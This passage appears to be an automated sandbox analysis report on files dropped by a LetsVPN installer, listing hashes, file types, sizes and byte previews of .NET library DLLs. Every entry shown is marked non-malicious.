                                                                                            Entropy (8bit):6.233289942282731
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:fqRdLDFPhe5rHMgWVCMlh8Xlrmyac4yPeZrZ3rAw/KENAMxUP:fqRdL3e5rHMgWVTnyac4oeZrZ3rAwrxm
                                                                                            MD5:C61BED81031664A04615FA8E339D7F3F
                                                                                            SHA1:10255DD6E08401651BE73F44EE8C1294A2EBB3DB
                                                                                            SHA-256:699B8E0D5A53D9CD2B6C297F3F22B73AEFCE357D18D8460F5620367530163117
                                                                                            SHA-512:9BEA999CC3C280BE177BD76F9E75B40D2988B531022614475FEE4EE6C592495BC147E66DC50F22A35D2C038EE599D7B6F444BB8810DC7B093C644B69680B93C8
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:. Z.........." ..0.................. ........... ...............................I....@.....................................O.......L................+..........|................................................ ............... ..H............text........ ...................... ..`.rsrc...L...........................@..@.reloc..............................@..B.......................H........K...Y............................................................{....*..{....*V.(......}......}....*...0..;........u......,/(.....{.....{....o....,.(.....{.....{....o....*.*. ...E )UU.Z(.....{....o....X )UU.Z(.....{....o....X*.0...........r...p......%..{.....................-.q.............-.&.+.......o.....%..{.....................-.q.............-.&.+.......o.....(....*..{....*"..}....*..{....*"..}....*..ra..p......%...%...%...(....( ...*...0..M........o...+..,...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):24552
                                                                                            Entropy (8bit):6.577215048741679
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:390wriHD7R3d4Q5ENmiL31SAAh1OSxJJssUJqgG/232nd4l4ueR8pwKANynsAw/m:t0w2j7R3d4Q5ENmiL31SAAh1OSxJJssK
                                                                                            MD5:DF2B552517DFECF5D14AC9E6D929E5C4
                                                                                            SHA1:E83E58A062FAC0EC00F119FD25A979C2BC658BE7
                                                                                            SHA-256:FB72CD95421333B5B95323B845D47F1BB9A141717F6BD65DAC8AC4943AD6473C
                                                                                            SHA-512:56BE9BCEE791CC87993BE1A4DCF599C09F7C966ED453486DDA163461EE799B0EFA2E73F7CAAD5B4C02FAFA8EF1F9647F0CB9B055818D57BFBA0FFC595315ABF0
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....g..........." ..0..*...........H... ...`....... ....................................@..................................G..O....`..|............4...+...........F..T............................................ ............... ..H............text....(... ...*.................. ..`.rsrc...|....`.......,..............@..@.reloc...............2..............@..B.................G......H.......8)...............................................................0..:.......s.......}......}......}......}...........s.....{....(...+*...0..:.......s.......}......}......}......}...........s.....{....(...+*...0..:.......s.......} .....}!.....}".....}#......$...s.....{ ...(...+*...0..:.......s%......}&.....}'.....}(.....})......*...s+....{&...(,...*...0..B.......s-.......}......}/.....}0.....}1.....}2......3...s+....{....(,...*F...(...+...(...+*.0..B.......s5.......}6.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.8204171824466115
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:o6x4u20pwKANynsAw/98E9VF3AM+ouJhPL:oEoAw/KENAMx81L
                                                                                            MD5:4416E30C112ECB4136C824C941D77B5F
                                                                                            SHA1:0F621BC7D93752473DB7D46DD7F83E568EA02094
                                                                                            SHA-256:AE70D745712E69F4D52120262FA75FB068EB904494EF7D93AB02677C63D55529
                                                                                            SHA-512:82CB0259A7F711A8A59C656DB5F00A6DC29658468154ACD32CA6A57664155321E5B6FDA5E00118CF21A60B28BA0F9FFD522A2733743A906AE376B85434B2278D
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............,... ...@....... ..............................3.....@..................................+..O....@..X................+...`.......*..T............................................ ............... ..H............text........ ...................... ..`.rsrc...X....@......................@..@.reloc.......`......................@..B.................+......H........ ..<...................(*.......................................(....*..0...............(....o........(....s....*...0............(.......(....s....(....*2r...p.(....*:.(......}....*...0...........{.......(....,..*~....*BSJB............v4.0.30319......l.......#~..,...x...#Strings............#US.........#GUID.......p...#Blob...........W..........3..........................................................9.........[...............................c.....c...{.c...>.c.....

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):57832
                                                                                            Entropy (8bit):6.288628643041189
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:00GhwEvUmz5IR5tUe9CiXmEkzKeGIsNif11gNsNj8cIjqabdAw/KENAMxLo:WlIR56kCckz2DhiNIchabdAwrxLo
                                                                                            MD5:8CC90AC3DF5B242BC1B6C139471636AD
                                                                                            SHA1:4CFD6FD66F175965F88EEDBF0606257045DFFF96
                                                                                            SHA-256:5D09A954FB3B731FD2C98E813383878DCA0DBD50FE8A077982B34121FF7CFB25
                                                                                            SHA-512:5125304805504F381E6ED2B654F21E3A371D1C8D8992011874163A788A642F4D5049B12D8E914E879ED3105977057B411CBE7229D0759BF4389A60F83D4D2C62
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....d............" ..0.............B.... ........... ....................... .......F....@.....................................O.......(................+..............T............................................ ............... ..H............text...H.... ...................... ..`.rsrc...(...........................@..@.reloc..............................@..B................".......H........=.....................t.........................................(....*..(....*..(....*.......*Z~....,.*.o*...&......*.......*b~....-.r...ps....z~....*.(#...o ...*.0..........(#......o!.....(....Q*6.(.....(%...*.0..........(#........o".....(....Q*R.(.......(....('...*:(#......o'...*N.(.....(.....()...*2(#....o#...*2(#....o$...*..o....*..o....*2(#....o%...*2(#....o&...*6(#.....ok...*...0..........s.......}.....{....-...+........s.......(1...*6(#.....ol...*6..(....(3..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20968
                                                                                            Entropy (8bit):6.699045541869867
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:obX0gijditBKMBRBHsEQO7pwKANynsAw/98E9VF3AM+oHIE0yOk:obkVRiBB8fAw/KENAMxos
                                                                                            MD5:AE6F980FE42E63162BD1AB7D94F5199F
                                                                                            SHA1:6B2439C5223E183B38978FD3E038098D752D8E01
                                                                                            SHA-256:41DE3C76987D109A780739466F04170A40F1F56BFF85D303A977E97EDBC351EE
                                                                                            SHA-512:03BF0B8C15E1FCBA3D82A0BF7121F973512DF9774D27DF2AB07C6B434374E506E90A878920392A809EC1118FBB521C1FCC5C695CE3EF834E5AED23940A24C227
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....D............" ..0..............:... ...@....... ..............................].....@.................................X:..O....@..d............&...+...`......L9..T............................................ ............... ..H............text........ ...................... ..`.rsrc...d....@......................@..@.reloc.......`.......$..............@..B.................:......H........%.......................8.......................................0..K..........~....%-.&~..........s....%.....(....%~....(....,.r...p.r...p(....s....z*..0..#.......(......-...(....*..3...(....*s....z...(....%~....(....,.r)..p.r...p(....s....z*..0..#.......(......-..(....&*..3..(....&*s....z..0..7..........~....%-.&~..........s....%.....(.........~....(....*..0............(.........~....(....*..E................+$r9..p.(....*rI..p.(....*rc..p.(....*s....z...0..........

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):68072
                                                                                            Entropy (8bit):6.049924534036129
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:lMXMG2QW0RgqGlel80eX3xFhofnnN+HHHHns6sbEpyqJW6N0dAw/KENAMxWcl:W2UTGlel80eXSfnUnM6sbwXN0dAwrxWw
                                                                                            MD5:26245B224B16C166E34E0A661955967F
                                                                                            SHA1:FE19DAA54D713BA1C1D4A2ED53C917823DE489CC
                                                                                            SHA-256:DC15D11946CBD1A3AC40925AD882F1256447B89BD7D0B07293C93FA7F80892FB
                                                                                            SHA-512:16DBD1C9443A140A04BE4B39B83EA1E28A73842C35430213506A12576B5808D7A6834A64D9895C0F7A54AA8BC8D72FB1AEE5C07BC2B8CF9D0D2DD7FA0B01D592
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..............." ..0.................. ........... .......................@......a.....@.................................R...O........................+... ......4...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......dB..P...........................................................6.......(....*.~....*F~H......on......*N........s....o...+*..0............(........~......o....*.0............(........~I.....or...*.0..%.........(..........(........~J.......ov...*....0..H.........(..........(........~K....oz............(....(.........{........o....*2~#....o....*2~"....o....*2~F....of...*6~G.....oj...*:~H......on...*2~$....o....*2~%....o....*>.(.......o....*...0..N........,........s.....

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):465384
                                                                                            Entropy (8bit):6.220618457714342
                                                                                            Encrypted:false
                                                                                            SSDEEP:6144:GcGv7iCPwqEYosfdBtmXaxWoXY06nQk2zLRC+oRZkR4CDy2sqIT0czXYhlmW:a+CoCoCBtmXWnL6nd2ZiUR4WylT0q+l9
                                                                                            MD5:0EAF9C30663A37A1439B910E81998F26
                                                                                            SHA1:E22B93C32221F94826408527E9140CE4B652D673
                                                                                            SHA-256:97B9453A756E2F68DAFF234ABE454EB761834E8AB33802C7C9A110CC83097DDE
                                                                                            SHA-512:60020C564BACF440F347676F1E70721CB1EE1392C2114021EB85BD36DF959897FE929023752D7F0C969C5E083E9ECD9F52473C15F2CE8867FBDBA3FF1A55E732
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._]..........." ..0.............v.... ... ....... .......................`.......]....`.................................$...O.... ...................+...@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................X.......H........f..D[............................................................(G...*"..(H...*&...(I...*..(....*"..(....*&...(....*r.,.~......~...... ...._X.*.*n.,.~.....~...... ...._X.*.*R..2.~.... .....X.*.*F..2.~.....h.X.*.*R..2.~.... .....X.*.*R..2.~.... .....X.*.*.0..A.........{.......a}......{.......a}......{.......a}......{.......a}....*....0..(..........?_d....1...n_....{.....Y.?_b`.{...._*.0..@..........{.......(....}.......{.......(....}.......{.......(....}....*.0..5...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):278504
                                                                                            Entropy (8bit):6.051539256474112
                                                                                            Encrypted:false
                                                                                            SSDEEP:6144:9bwZzM/arIPizbgQtYYYncnWDOsksHgtBwsbe+/ubhg:mzM/arIPizxUncQfZH7g
                                                                                            MD5:9DD11CCB6AD5E68B47F7145EF2398513
                                                                                            SHA1:E8A3FB83E34516CABF8A04DE0658CE9D184751B2
                                                                                            SHA-256:59D8C72994391AE5AF2E261918055C04F843A4CD193C8F010F509E2FE27E6B3B
                                                                                            SHA-512:D2A0C07EC1D4E658E0D99DD9326F79CE652A8A1EFBC530890CF9AECC62B984535DBE28D887E04A3692F088FFFE5A5DFF8284F1C3F759EB45A9636092ECA54E0E
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............*... ...@....... ....................................`.................................e*..O....@...................+...`......x)..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......X... .............................................................{0...*..{1...*V.(2.....}0.....}1...*...0..;........u......,/(3....{0....{0...o4...,.(5....{1....{1...o6...*.*. ... )UU.Z(3....{0...o7...X )UU.Z(5....{1...o8...X*.0..b........r...p......%..{0......%q.........-.&.+.......o9....%..{1......%q.........-.&.+.......o9....(:...*V!..../c...s;........*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..(2...*..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):53224
                                                                                            Entropy (8bit):6.1911084320327205
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:MDGXmBiIOJv2IIXs4UOPhbY+m/rihAt5A8o4/aBS8XpTt/yO0yFtAw/KENAMxHl:MDGXmBiXanx+zehk/WpB/yO0yrAwrxHl
                                                                                            MD5:53B6BC74F76CF41B93EA8CE98B3E0AAB
                                                                                            SHA1:BEC0CC1B8C65B6045E359AA509DCDC5D354D0B47
                                                                                            SHA-256:0F9779F08B4EC49BB884C7B2784268AEC1108A3A9E97FD6FF6628BA5C7AF2929
                                                                                            SHA-512:2A1C67AC8166B5EB9D7641653C7A8DBB831B61FEAEA6638470DB552B8B4BB0CE55C2FAFBAD5F139CCA126DC32A8388141FE5AD46C64D34EC623592B274D53FF7
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...h@qZ.........." ..0.............~.... ........... ....................................`.................................*...O........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................^.......H........O...g..................(.......................................&...(....*6.......(....*:........(....*...~....%-.&~..........s....%.....(....*..0..@........(....s.......o......}.....s....}.....{......i.....o......}....*.0..............(.....`,.....*...0..Q.........R.{....u......o......{ .......i2...R.*..{.......*.| .....X.(!.......*.........*....0..............("....`,.....*...0............R.{....u......o......{ .....o#......X......i1...R.*..{.......*.| ......(!.....

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.868995697038425
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:5DNxWQFWZLpwKANynsAw/98E9VF3AM+o1MTurx:5DNV3Aw/KENAMxKC
                                                                                            MD5:590803CA6E22888F80D0B49BEC315C3A
                                                                                            SHA1:1030CE4C1C1E3E9A591195C1CEA702715CE9CAB5
                                                                                            SHA-256:BC6C2FA37D1890C3D164E92478BA83FAA22D7A348550AD095296ABB195D1416C
                                                                                            SHA-512:B612F5DEEB092F453A4CBD4F5052E09CCDF02D331E8FE593613091E564A83B9653276AEAA785717F1CF61A97E9DD822FE638DF98D7679E3438DDD00C2BA43F56
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0.............f(... ...@....... ....................................@..................................(..O....@...................+...`.......&............................................... ............... ..H............text...l.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................H(......H.......P ......................\&......................................BSJB............v4.0.30319......l...|...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.....K.N...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):23016
                                                                                            Entropy (8bit):6.722097829825641
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:vrMdp9yXOfPfAxR5zwWvYW8a+YpwKANynsAw/98E9VF3AM+oSrWKb7kZL:vrMcXP6zAw/KENAMxXv9
                                                                                            MD5:A02D9353B59A4751F8AEA5C46BD01906
                                                                                            SHA1:FC1D3BAAF9CABD5B0356207A38D703471F39B8EB
                                                                                            SHA-256:F95E7C7D6D4EB85D4B3745C69E72EAEE76BABA707611B917417AAAC6B8C8EF94
                                                                                            SHA-512:C16F1866E131E2BCB713EF7701C9E7C695E25764DAA03CDE7888B141129F0F71266CF8B163B048415E4404D87648198B6EC09D7D7D3C520FB8E8E8B93A087F29
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..$..........BC... ...`....... ..............................n.....@..................................B..O....`..@................+...........A............................................... ............... ..H............text...H#... ...$.................. ..`.rsrc...@....`.......&..............@..@.reloc...............,..............@..B................$C......H........'...............?..X...8A......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*B.....(.........*R.....(...+%-.&(!...*^.....("....(...+&~....*.s$...*"..s%...*..(&...*.*....0......................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):30184
                                                                                            Entropy (8bit):6.332226298486135
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:3dgrnDxt3942O1NEIY3lzZIcKBxehzsCtZ7U6r1fDXJx/WpuW04pwKANynsAw/9t:tgXxtu5jEIYDhzZpmWAw/KENAMxnxD
                                                                                            MD5:02741B04DB92F7B05B348AFA6A3762DC
                                                                                            SHA1:28BD58F1C25802E8DD3509DD12B480A601B24A56
                                                                                            SHA-256:5E765817CE1728AA3C601ED29C3053F1D31F902843E927B466EB4A69BD6A3C5F
                                                                                            SHA-512:02D3591509AA913A4AA4B6327F4F7D353665B0F01D3C96A9B2E58653BCC828757B2CD8ACD94905F8811936DC58C0BADB457566A6D55C19DB12724503B4A881B2
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dP'..........." ..0..>..........*\... ...`....... ..............................Rf....`..................................[..O....`...............J...+...........[..T............................................ ............... ..H............text...0<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............H..............@..B.................\......H........#...)...........L.......Z.......................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.954767949758013
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:Lm2igOWnW8rWCfpwKANynsAw/98E9VF3AM+oagS7:bt6Aw/KENAMxY7
                                                                                            MD5:FB02078309057452174BD0C682250F08
                                                                                            SHA1:E8F475D956FE988F0D3B07D20C86F2D729707246
                                                                                            SHA-256:0B80C0CC327DBB8CD142DA35FB4385C704DE0424ED3798E15ED23AAA13D71E4F
                                                                                            SHA-512:8E3CE570069777B2CD9D33F6D9E4D3EEEA357C816ABE24C2E359A6CE3ABF55B28B4280C8DE4B3E00018366CAC01151B6D04F0F947F93F8F6701BDB5C325BE407
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ..............................v.....@.................................t)..O....@..D................+...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...D....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3................................................n.o.....o.....\...........8...3.8...P.8.....8.....8.....8.....8.....8.....1.....8.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.949449681177467
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:Jqnapn1iwwPWcGWeRpwKANynsAw/98E9VF3AM+ooMY6XX:nDu9Aw/KENAMxMy
                                                                                            MD5:D3173DFEDA64755B2E88329BA521A801
                                                                                            SHA1:50345FA89691566C305F6813E7F090063BB4B5CE
                                                                                            SHA-256:A60CD3F791865B52A62F015E293A44FCEEC922618D06FE4AB1B90642D770F30D
                                                                                            SHA-512:12BBF2474C13CC7CA99F9EFD8604F7CB6A3FCFB769B9B404AAFF148DDB6EB06D0B12F4014F0FBF1780CD78832A1CF66EA5D662DBF55D4993865DA35FD8003035
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ...............................,....@.................................p)..O....@..@................+...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..t.......#Strings....<.......#US.@.......#GUID...P.......#Blob......................3................................................F.o.....o.....\...........,.....,...(.,.....,...f.,.....,.....,.....,.....%.....,.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.9572138486630015
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:IHLaEav5aaUa6arWVLWm2pwKANynsAw/98E9VF3AM+oS8L:FPv5t/NOTAw/KENAMxR
                                                                                            MD5:6D59D66B69AA9B2EBED4DF7EDB962A02
                                                                                            SHA1:7A7DB5C892C23FDF7B2E8A6D7ED15BFF358E4A80
                                                                                            SHA-256:BF99E4F0DCB690CAB2A19BA10401B945EB9C1D3C1171DE59C5494619EFD2E4FE
                                                                                            SHA-512:15D74063B81295D72DC5D63A91C8EC948ABCB35A9476A6A82067B59E0B391ED6423D6985E687BCBF0F7FD2A993903E5875EB0AAB288E01FEBB15B964F68C0243
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ....................................@..................................)..O....@..P................+...`......P(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................`.....`...t.M.................................=.....V.................q.....Z...................G.....G.....G...).G...1.G...9.G...A.G...I.G...Q.G...Y.G...a.G...i.G...q.G.......................#.....+.....3.....;. ...C.;...K.[...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.820783478949804
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:I6iIJq56dOuWSKeWPMpwKANynsAw/98E9VF3AM+obtIiknXAt:SiAJAw/KENAMxbrka
                                                                                            MD5:405227EDFB4BF10D916204FF66937B3F
                                                                                            SHA1:7AF08E29C0A42FE772E121160A53F7EC97B5A77A
                                                                                            SHA-256:2E474F101AA124959013BB256FAC2B846E56572F59AD39B3D43965BAFFE750B8
                                                                                            SHA-512:36F448C12973B27356F0F660AC5DCBB52102D53D1E0226820319F541A90597D2F83C71086B1E6FEF31BACD43467C1C93A3D7F2682A7242C709CD8F5138BACFD8
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............*... ...@....... ...............................w....@..................................*..O....@...................+...`......L)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P ..|....................(......................................BSJB............v4.0.30319......l.......#~..|.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3................................................k.~.....~.....k...........*...0.*...M.*.....*.....*.....*.....*.....*.....#.....*.....x...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C./...K.O...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):38376
                                                                                            Entropy (8bit):5.996055274986792
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:iXDQsPurQcR3y6JOnSHDYFDhAw/KENAMxp5Fp/:izPtcE6JhHEFdAwrxp5X/
                                                                                            MD5:CB0EA4B211367CC748B2279BE13B54AA
                                                                                            SHA1:7C6A70C904520DACC1A7631B4AC22F085701FF6C
                                                                                            SHA-256:BF4AC24D5C1A6A6E5A667BA039FFAF864D32C1BC2A32E91FF95FD817F747A20C
                                                                                            SHA-512:F352E34D0E644166547B24316479870A3224F85C0DA4A596526590A6BA0AA242326AC503DCB9DDCBA22F63AF849C57E0787B8AF3E8C5C57A79327E11C0A0F20D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>.Z.........." ..0..Z..........Bx... ........... ....................................@..................................w..O....................j...+..........8w............................................... ............... ..H............text...HX... ...Z.................. ..`.rsrc................\..............@..@.reloc...............h..............@..B................"x......H........$...............R.. $...v......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*2r=..p.(....*2r}..p.(....*2r...p.(....*2r...p.(....*2r%..p.(....*2r]..p.(....*2r...p.(....*2r/..p.(....*2r...p.(...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
